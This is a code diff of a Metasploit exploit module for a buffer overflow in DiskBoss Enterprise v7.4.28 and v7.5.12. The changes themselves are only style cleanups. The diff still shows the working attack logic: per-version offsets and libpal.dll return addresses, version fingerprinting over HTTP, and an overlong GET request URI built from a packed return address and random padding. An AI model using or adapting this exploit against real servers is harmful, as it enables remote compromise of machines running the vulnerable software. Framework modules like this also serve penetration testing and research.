@@ -43,18 +43,21 @@ def initialize(info = {})
43
43
} ,
44
44
'Targets' =>
45
45
[
46
- [ 'Automatic Targeting' ,
46
+ [
47
+ 'Automatic Targeting' ,
47
48
{
48
49
'auto' => true
49
50
}
50
51
] ,
51
- [ 'DiskBoss Enterprise v7.4.28' ,
52
+ [
53
+ 'DiskBoss Enterprise v7.4.28' ,
52
54
{
53
55
'Offset' => 2471 ,
54
56
'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]
55
57
}
56
58
] ,
57
- [ 'DiskBoss Enterprise v7.5.12' ,
59
+ [
60
+ 'DiskBoss Enterprise v7.5.12' ,
58
61
{
59
62
'Offset' => 2471 ,
60
63
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
@@ -63,15 +66,14 @@ def initialize(info = {})
63
66
] ,
64
67
'Privileged' => true ,
65
68
'DisclosureDate' => 'Dec 05 2016' ,
66
- 'DefaultTarget' => 0
67
- ) )
69
+ 'DefaultTarget' => 0 ) )
68
70
end
69
71
70
72
def check
71
- res = send_request_cgi ( {
73
+ res = send_request_cgi (
72
74
'method' => 'GET' ,
73
- 'uri' => '/'
74
- } )
75
+ 'uri' => '/'
76
+ )
75
77
76
78
if res && res . code == 200
77
79
if res . body =~ /DiskBoss Enterprise v7\. (4\. 28|5\. 12)/
@@ -80,7 +82,7 @@ def check
80
82
return Exploit ::CheckCode ::Detected
81
83
end
82
84
else
83
- vprint_error ( " Unable to determine due to a HTTP connection timeout" )
85
+ vprint_error ( ' Unable to determine due to a HTTP connection timeout' )
84
86
return Exploit ::CheckCode ::Unknown
85
87
end
86
88
@@ -90,15 +92,15 @@ def check
90
92
def exploit
91
93
mytarget = target
92
94
93
- if ( target [ 'auto' ] )
95
+ if target [ 'auto' ]
94
96
mytarget = nil
95
97
96
- print_status ( " Automatically detecting the target..." )
98
+ print_status ( ' Automatically detecting the target...' )
97
99
98
- res = send_request_cgi ( {
100
+ res = send_request_cgi (
99
101
'method' => 'GET' ,
100
- 'uri' => '/'
101
- } )
102
+ 'uri' => '/'
103
+ )
102
104
103
105
if res && res . code == 200
104
106
if res . body =~ /DiskBoss Enterprise v7\. 4\. 28/
@@ -108,8 +110,8 @@ def exploit
108
110
end
109
111
end
110
112
111
- if ( not mytarget )
112
- fail_with ( Failure ::NoTarget , " No matching target" )
113
+ if ! mytarget
114
+ fail_with ( Failure ::NoTarget , ' No matching target' )
113
115
end
114
116
115
117
print_status ( "Selected Target: #{ mytarget . name } " )
@@ -121,9 +123,9 @@ def exploit
121
123
sploit << [ mytarget . ret ] . pack ( 'V' )
122
124
sploit << rand_text_alpha ( 2500 )
123
125
124
- res = send_request_cgi ( {
126
+ send_request_cgi (
125
127
'method' => 'GET' ,
126
- 'uri' => sploit
127
- } )
128
+ 'uri' => sploit
129
+ )
128
130
end
129
131
end
0 commit comments